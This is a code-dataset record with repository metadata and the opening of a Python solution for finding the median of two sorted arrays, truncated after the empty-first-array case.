edad86353f79d83cf636dc14ef46cac4ab1df2e5 | e2c2aa7b7518985fbf9cfbef8265f9fff7154798 | /median_two_sorted_array.py | cbcc9247900a41dd414cfe89bbe8e967bc83e8af | [] | no_license | Harvey1973/coding_questions | 521b1d9d411b53cd8f533ccf60aece616dfeba93 | 4c5d7b93e078f2efe0c3cdea1f8ec6eef62adfe0 | refs/heads/master | 2020-04-02T11:53:21.353824 | 2019-05-24T01:46:31 | 2019-05-24T01:46:31 | 154,410,566 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,918 | py | class Solution(object):
def findMedianSortedArrays(self,a,b):
if len(a) == 0:
if len(b) == 1:
return b[0]
b_index = int (len(b)/2)
if len(b)%2 != 0:
return b[b_index]
else:
return (b[b_index-1] + b[b_index])/2.0
... | [
"harveyj1994@gmail.com"
] | harveyj1994@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.